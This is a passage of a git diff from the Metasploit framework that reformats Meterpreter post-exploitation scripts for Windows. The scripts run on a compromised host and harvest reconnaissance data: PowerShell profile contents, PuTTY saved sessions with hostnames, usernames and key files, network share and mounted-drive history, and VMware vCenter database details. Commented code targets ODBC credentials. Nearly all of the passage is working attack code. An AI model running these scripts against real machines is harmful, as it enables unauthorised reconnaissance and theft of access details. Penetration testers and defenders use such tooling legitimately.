@client.sys.config.sysinfo['OS'] + users = [] + user = @client.sys.config.getuid + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - path4users = sysdrv + "\\Users\\" - profilepath = "\\Documents\\WindowsPowerShell\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - profilepath = "\\My Documents\\WindowsPowerShell\\" - end + if os =~ /Windows 7|Vista|2008/ + path4users = sysdrv + "\\Users\\" + profilepath = "\\Documents\\WindowsPowerShell\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + profilepath = "\\My Documents\\WindowsPowerShell\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + profilepath - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + profilepath - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + profilepath + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + profilepath + users << userinfo + end + return users end #------------------------------------------------------------------------------- def enum_powershell - #Check if PowerShell is Installed - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") - print_status("Powershell is Installed on this system.") - powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") - print_status("Version: #{powershell_version}") - #Get PowerShell Execution Policy - begin - powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") - rescue - powershell_policy = "Restricted" - end - print_status("Execution Policy: #{powershell_policy}") - powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path") - print_status("Path: #{powershell_path}") - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns") - print_status("Powershell Snap-Ins:") - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si| - print_status("\tSnap-In: #{si}") - registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v| - print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}") - end - end - else - print_status("No PowerShell Snap-Ins are installed") + #Check if PowerShell is Installed + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + print_status("Powershell is Installed on this system.") + powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") + print_status("Version: #{powershell_version}") + #Get PowerShell Execution Policy + begin + powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") + rescue + powershell_policy = "Restricted" + end + print_status("Execution Policy: #{powershell_policy}") + powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path") + print_status("Path: #{powershell_path}") + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns") + print_status("Powershell Snap-Ins:") + registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si| + print_status("\tSnap-In: #{si}") + registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v| + print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}") + end + end + else + print_status("No PowerShell Snap-Ins are installed") - end - if powershell_version =~ /2./ - print_status("Powershell Modules:") - powershell_module_path = @client.fs.file.expand_path("%PSModulePath%") - @client.fs.dir.foreach(powershell_module_path) do |m| - next if m =~ /^(\.|\.\.)$/ - print_status("\t#{m}") - end - end - tmpout = [] - print_status("Checking if users have Powershell profiles") - enum_users.each do |u| - print_status("Checking #{u['username']}") - begin - @client.fs.dir.foreach(u["userappdata"]) do |p| - next if p =~ /^(\.|\.\.)$/ - if p =~ /Microsoft.PowerShell_profile.ps1/ - ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb") - until ps_profile.eof? - tmpout << ps_profile.read - end - ps_profile.close - if tmpout.length == 1 - print_status("Profile for #{u["username"]} not empty, it contains:") - tmpout.each do |l| - print_status("\t#{l.strip}") - end - end - end - end - rescue - end - end + end + if powershell_version =~ /2./ + print_status("Powershell Modules:") + powershell_module_path = @client.fs.file.expand_path("%PSModulePath%") + @client.fs.dir.foreach(powershell_module_path) do |m| + next if m =~ /^(\.|\.\.)$/ + print_status("\t#{m}") + end + end + tmpout = [] + print_status("Checking if users have Powershell profiles") + enum_users.each do |u| + print_status("Checking #{u['username']}") + begin + @client.fs.dir.foreach(u["userappdata"]) do |p| + next if p =~ /^(\.|\.\.)$/ + if p =~ /Microsoft.PowerShell_profile.ps1/ + ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb") + until ps_profile.eof? + tmpout << ps_profile.read + end + ps_profile.close + if tmpout.length == 1 + print_status("Profile for #{u["username"]} not empty, it contains:") + tmpout.each do |l| + print_status("\t#{l.strip}") + end + end + end + end + rescue + end + end - end + end end if client.platform =~ /win32|win64/ - enum_powershell + enum_powershell else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 886dac8eed..252c78d8c1 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -5,93 +5,93 @@ @client = client #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Putty Configuration." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for enumerating Putty Configuration." + print_line(opts.usage) + raise Rex::Script::Completed + end } def hkcu_base - key_base = [] + key_base = [] - if not is_system? - key_base << "HKCU" - else - key = "HKU\\" - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base << "HKU\\#{k}" - end - end - end - return key_base + if not is_system? + key_base << "HKCU" + else + key = "HKU\\" + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ + key_base << "HKU\\#{k}" + end + end + end + return key_base end def check_putty(reg_key_base) - installed = false - app_list = [] - app_list = registry_enumkeys("#{reg_key_base}\\Software") - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA") - username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/) - end - if app_list.index("SimonTatham") - print_status("Putty Installed for #{username_profile}") - installed = true - end - return installed + installed = false + app_list = [] + app_list = registry_enumkeys("#{reg_key_base}\\Software") + os = @client.sys.config.sysinfo['OS'] + if os =~ /(Windows 7|2008|Vista)/ + username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME") + elsif os =~ /(2000|NET|XP)/ + appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA") + username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/) + end + if app_list.index("SimonTatham") + print_status("Putty Installed for #{username_profile}") + installed = true + end + return installed end def enum_known_ssh_hosts(reg_key_base) - print_status("Saved SSH Server Public Keys:") - registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host| - print_status("\t#{host}") - end + print_status("Saved SSH Server Public Keys:") + registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host| + print_status("\t#{host}") + end end def enum_saved_sessions(reg_key_base) - saved_sessions = [] - sessions_protocol = "" - sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions" - saved_sessions = registry_enumkeys(sessions_key) - if saved_sessions.length > 0 - saved_sessions.each do |saved_session| - print_status("Session #{saved_session}:") - sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol") - if sessions_protocol =~ /ssh/ - print_status("\tProtocol: SSH") - print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}") - print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}") - print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}") - elsif sessions_protocol =~ /serial/ - print_status("\tProtocol: Serial") - print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}") - print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}") - print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}") - print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}") - end - end - end + saved_sessions = [] + sessions_protocol = "" + sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions" + saved_sessions = registry_enumkeys(sessions_key) + if saved_sessions.length > 0 + saved_sessions.each do |saved_session| + print_status("Session #{saved_session}:") + sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol") + if sessions_protocol =~ /ssh/ + print_status("\tProtocol: SSH") + print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}") + print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}") + print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}") + elsif sessions_protocol =~ /serial/ + print_status("\tProtocol: Serial") + print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}") + print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}") + print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}") + print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}") + end + end + end end if client.platform =~ /win32|win64/ - hkcu_base.each do |hkb| - if check_putty(hkb) - enum_known_ssh_hosts(hkb) - enum_saved_sessions(hkb) - end - end + hkcu_base.each do |hkb| + if check_putty(hkb) + enum_known_ssh_hosts(hkb) + enum_saved_sessions(hkb) + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 9d49918dd8..19dcff1ca2 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -2,115 +2,115 @@ #------------------------------------------------------------------------------- ################## Variable Declarations ################## opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] - ) + "-h" => [ false, "Help menu." ] + ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares," - print_line "History of UNC Paths entered in Run Dialog." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares," + print_line "History of UNC Paths entered in Run Dialog." + print_line(opts.usage) + raise Rex::Script::Completed + end } # Function for enumerating recent mapped drives on target machine def enum_recent_mounts(base_key) - recent_mounts = [] - partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer' - full_path = "#{partial_path}\\Map Network Drive MRU" - explorer_keys = registry_enumkeys(partial_path) - if explorer_keys.include?("Map Network Drive MRU") - registry_enumvals(full_path).each do |k| - if not k =~ /MRUList/ - recent_mounts << registry_getvaldata(full_path,k) - end - end - end - return recent_mounts + recent_mounts = [] + partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer' + full_path = "#{partial_path}\\Map Network Drive MRU" + explorer_keys = registry_enumkeys(partial_path) + if explorer_keys.include?("Map Network Drive MRU") + registry_enumvals(full_path).each do |k| + if not k =~ /MRUList/ + recent_mounts << registry_getvaldata(full_path,k) + end + end + end + return recent_mounts end # Function for enumerating UNC Paths entered in run dialog box def enum_run_unc(base_key) - unc_paths = [] - full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' - registry_enumvals(full_path).each do |k| - if k =~ /./ - run_entrie = registry_getvaldata(full_path,k) - unc_paths << run_entrie if run_entrie =~ /^\\\\/ - end - end - return unc_paths + unc_paths = [] + full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' + registry_enumvals(full_path).each do |k| + if k =~ /./ + run_entrie = registry_getvaldata(full_path,k) + unc_paths << run_entrie if run_entrie =~ /^\\\\/ + end + end + return unc_paths end def enum_conf_shares() - target_os = client.sys.config.sysinfo['OS'] - if target_os =~ /Windows 7|Vista|2008/ - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares' - else - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares' - end - shares = registry_enumvals(shares_key) - if shares.length > 0 - print_status() - print_status("The following shares where found:") - shares.each do |s| - share_info = registry_getvaldata(shares_key,s).split("\000") - print_status("\tName: #{s}") - share_info.each do |e| - name,val = e.split("=") - print_status("\t#{name}: #{val}") if name =~ /Path|Type/ - end - print_status() - end - end + target_os = client.sys.config.sysinfo['OS'] + if target_os =~ /Windows 7|Vista|2008/ + shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares' + else + shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares' + end + shares = registry_enumvals(shares_key) + if shares.length > 0 + print_status() + print_status("The following shares where found:") + shares.each do |s| + share_info = registry_getvaldata(shares_key,s).split("\000") + print_status("\tName: #{s}") + share_info.each do |e| + name,val = e.split("=") + print_status("\t#{name}: #{val}") if name =~ /Path|Type/ + end + print_status() + end + end end if client.platform =~ /win32|64/ - # Variables to hold info - mount_history = [] - run_history = [] + # Variables to hold info + mount_history = [] + run_history = [] - # Enumerate shares being offered - enum_conf_shares() + # Enumerate shares being offered + enum_conf_shares() - if not is_system? - mount_history = enum_recent_mounts("HKEY_CURRENT_USER") - run_history = enum_run_unc("HKEY_CURRENT_USER") - else - user_sid = [] - key = "HKU\\" - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ - end - user_sid.each do |us| - mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") - run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") - end - end + if not is_system? + mount_history = enum_recent_mounts("HKEY_CURRENT_USER") + run_history = enum_run_unc("HKEY_CURRENT_USER") + else + user_sid = [] + key = "HKU\\" + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ + end + user_sid.each do |us| + mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") + run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") + end + end - # Enumerate Mount History - if mount_history.length > 0 - print_status("Recent Mounts found:") - mount_history.each do |i| - print_status("\t#{i}") - end - print_status() - end + # Enumerate Mount History + if mount_history.length > 0 + print_status("Recent Mounts found:") + mount_history.each do |i| + print_status("\t#{i}") + end + print_status() + end - #Enumerate UNC Paths entered in the Dialog box - if run_history.length > 0 - print_status("Recent UNC paths entered in Run Dialog found:") - run_history.each do |i| - print_status("\t#{i}") - end - print_status() - end + #Enumerate UNC Paths entered in the Dialog box + if run_history.length > 0 + print_status("Recent UNC paths entered in Run Dialog found:") + run_history.each do |i| + print_status("\t#{i}") + end + print_status() + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 825f5df0e4..27bd35adcc 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -4,321 +4,321 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products") - print_line("USAGE: run vmware_enum") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products") + print_line("USAGE: run vmware_enum") + print_line(opts.usage) + raise Rex::Script::Completed + end } def check_prods() - key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ) - sfmsvals = key.enum_key - print_status("The Following Products are installed on this host:") - sfmsvals.each do |p| - print_status("\t#{p}") - end - return sfmsvals + key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ) + sfmsvals = key.enum_key + print_status("The Following Products are installed on this host:") + sfmsvals.each do |p| + print_status("\t#{p}") + end + return sfmsvals end def check_vmsoft - installed = false - key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ) - sfmsvals = key.enum_key - if sfmsvals.include?("VMware, Inc.") - print_status("VMware Products are Installed in Host") - installed = true - else - print_error("No VMware Products where found in this Host.") - end - key.close - return installed + installed = false + key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ) + sfmsvals = key.enum_key + if sfmsvals.include?("VMware, Inc.") + print_status("VMware Products are Installed in Host") + installed = true + else + print_error("No VMware Products where found in this Host.") + end + key.close + return installed end def enum_vcenter - print_status("Information about Virtual Center:") - vc_dbuser = nil - vc_dbencpass = nil - vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion") - vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial") - vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName") - vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType") - vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version") - vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType") - vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1") - vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4") - # vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection") - # print_line("*") - # if vc_odctrustcon.to_i != 1 - # vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2") - # print_line("*") - # vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3") - # print_line("*") - # end - vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database") - vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server") - print_status("\tVersion: #{vc_version}") - print_status("\tSerial: #{vc_serial}") - print_status("\tvCenter Type: #{vc_type}") - print_status("\tTomcat Version: #{vc_tomcatver}") - print_status("\tDatabase Instance: #{vc_dbinstance}") - print_status("\tDatabase Type: #{vc_dbtype}") - print_status("\tDatabase Name: #{vc_dbname}") - print_status("\tDatabase Server: #{vc_dbserver}") - print_status("\tODBC Name: #{vc_odbcname}") - print_status("\tODBC Type: #{vc_odbctype}") - # if vc_odctrustcon.to_i != 1 - # print_status("\tODBC Username: #{vc_dbuser}") - # print_status("\tODBC Password: #{vc_dbencpass}") - # end + print_status("Information about Virtual Center:") + vc_dbuser = nil + vc_dbencpass = nil + vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion") + vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial") + vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName") + vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType") + vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version") + vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType") + vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1") + vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4") + # vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection") + # print_line("*") + # if vc_odctrustcon.to_i != 1 + # vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2") + # print_line("*") + # vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3") + # print_line("*") + # end + vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database") + vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server") + print_status("\tVersion: #{vc_version}") + print_status("\tSerial: #{vc_serial}") + print_status("\tvCenter Type: #{vc_type}") + print_status("\tTomcat Version: #{vc_tomcatver}") + print_status("\tDatabase Instance: #{vc_dbinstance}") + print_status("\tDatabase Type: #{vc_dbtype}") + print_status("\tDatabase Name: #{vc_dbname}") + print_status("\tDatabase Server: #{vc_dbserver}") + print_status("\tODBC Name: #{vc_odbcname}") + print_status("\tODBC Type: #{vc_odbctype}") + # if vc_odctrustcon.to_i != 1 + # print_status("\tODBC Username: #{vc_dbuser}") + # print_status("\tODBC Password: #{vc_dbencpass}") + # end end def enum_viclient - print_status("Information about VMware VI Client:") - vi_pluggins = nil - begin - vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion") - vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins") - rescue - end - print_status("\tVersion: #{vi_version}") - if vi_pluggins - vi_pluggins.each do |pi| - if pi=~ /Converter/ - print_status("\tPlugin: VMware Converter") - elsif pi =~/UM/ - print_status("\tPlugin: VMware Update Manager") - else - print_status("\tPlugin: #{pi}") - end - end - end + print_status("Information about VMware VI Client:") + vi_pluggins = nil + begin + vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion") + vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins") + rescue + end + print_status("\tVersion: #{vi_version}") + if vi_pluggins + vi_pluggins.each do |pi| + if pi=~ /Converter/ + print_status("\tPlugin: VMware Converter") + elsif pi =~/UM/ + print_status("\tPlugin: VMware Update Manager") + else + print_status("\tPlugin: #{pi}") + end + end + end - if not is_system? - recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") - print_status("Recent VI Client Connections:") - recentconns.each do |c| - print_status("\t#{c}") - end - ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") - if ignore_ssl.length > 0 - print_status("\tIgnored SSL Certs for") - ignore_ssl.each do |issl| - ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) - print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") - end + if not is_system? + recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") + print_status("Recent VI Client Connections:") + recentconns.each do |c| + print_status("\t#{c}") + end + ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") + if ignore_ssl.length > 0 + print_status("\tIgnored SSL Certs for") + ignore_ssl.each do |issl| + ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) + print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") + end - end - else - user_sid = [] - key = "HKU\\" - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ - end - user_sid.each do |us| - begin - enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME") - print_status("\tRecent VI Client Connections for #{enumed_user}:") - recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") - recentconns.each do |c| - print_status("\t#{c}") - end - ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") - if ignore_ssl.length > 0 - print_status("\tIgnored SSL Certs for #{enumed_user}:") - ignore_ssl.each do |issl| - ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) - print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") - end + end + else + user_sid = [] + key = "HKU\\" + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ + end + user_sid.each do |us| + begin + enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME") + print_status("\tRecent VI Client Connections for #{enumed_user}:") + recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") + recentconns.each do |c| + print_status("\t#{c}") + end + ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") + if ignore_ssl.length > 0 + print_status("\tIgnored SSL Certs for #{enumed_user}:") + ignore_ssl.each do |issl| + ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) + print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") + end - end - rescue - print_status("\tUser appears to have not used the software.") - end - end - end + end + rescue + print_status("\tUser appears to have not used the software.") + end + end + end end def enum_vum - print_status("Information about VMware Update Manager:") - begin - vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion") - vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer") - vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType") - vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess") - vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy") - 